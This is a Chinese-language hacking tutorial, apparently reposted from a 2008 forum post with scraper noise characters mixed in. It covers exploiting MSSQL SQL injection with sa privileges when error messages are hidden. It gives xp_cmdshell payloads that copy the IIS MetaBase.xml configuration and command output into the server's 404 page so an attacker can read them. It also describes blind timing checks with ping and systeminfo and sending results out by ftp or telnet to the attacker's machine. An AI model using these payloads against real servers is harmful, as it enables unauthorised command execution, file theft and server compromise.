遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。8 l1 a N% T I' {# H3 h0 A: u
& f1 \: b# F8 i( L 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。4 `% G& p3 t6 w U( K
2 i0 h t$ o# l 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。* v+ \, N, t" S g# y. c
4 }+ e) c4 k1 D6 |/ i
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
; l7 b# \" ?. M' Y# e) O% _4 @$ n) Y2 e+ V2 N: ~
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--0 I. u5 m/ c; T) y
8 F, m5 s) F9 |2 k& ` ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
% i4 G: s; ]0 x7 q! E
. T- G1 `$ E3 n/ a+ a3 _6 F 执行命令得到回显, {, }5 y6 Z y. P
4 y- v7 _) a3 p
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
r( e. o6 d/ X% M8 i( k8 D7 c
7 H/ D' Y6 r7 [0 j 得到文件也shi相同,把文件copy到404b.htm就行了
; i: F& S2 y. {# j
5 A w, I2 ~, z by 28ice, 2008/6/26
G! s! @( G& T+ O( H3 s
) n. }9 ~# D+ k8 g 摘自 28度的冰1 k3 m9 I* f' [' R% X
- r+ E* p" Y& k
盲注判断权限和操作系统版本' @9 Y+ M, A" y) l3 d
5 z9 f7 \( y7 v& r 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
+ _' _; `/ [2 V7 K- f# H( J- H+ O! P2 Y- m" I+ s& R3 A
最简单的,可能以用这样的方法:
+ ~5 [6 P5 A9 \2 ~, B: `! `. [% G% J4 c7 B8 ]
1=(select IS_SRVROLEMEMBER(’sysadmin’))# H; [" y2 S5 t. f/ t- q
. F# Z7 I& _' r# b% K6 E 当然,有些情况下,这个方法并不奏效。
! J6 i" f7 S5 u- w' p( ^
, r3 [1 t9 k4 N 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
7 J0 K3 I* s. H- B( v; I
0 j8 L0 t0 K% Z& V, k 有个3办法可能以解决这个问题
' U/ U {& J+ ^; m+ j# M) t" s) t% N$ l) M* ^2 B7 U
a.把执行结果写到404b.htm,具体请看我的上一篇文章
" P" J- a0 s$ o+ O5 G$ R+ J3 W, g
0 b4 p2 ~% u3 k- j0 O b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟4 @8 r6 V; d% @# d( q* J! N
/ U+ b7 B* U' \6 L
c.如果1433端口可能以连接,那干脆新建个sql登录
/ f# _3 w8 C; z" R% M s) v% v2 F2 e0 X% l2 E; H+ c9 B
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数" u1 e4 \' X1 R2 Z
8 {$ X3 ~+ N+ z1 \6 O
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
/ k* o: `; l8 L: Z Q
A; W! D7 o! p' v+ H& v2 n1 u 很简单
6 ]) w7 j; h6 [% f
: r$ G x8 N6 `. w8 J8 ^ 执行systeminfo ^; P5 |1 ?+ T: p. p/ j* [! ~; {
) e- f/ l5 D7 Q, h1 { 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |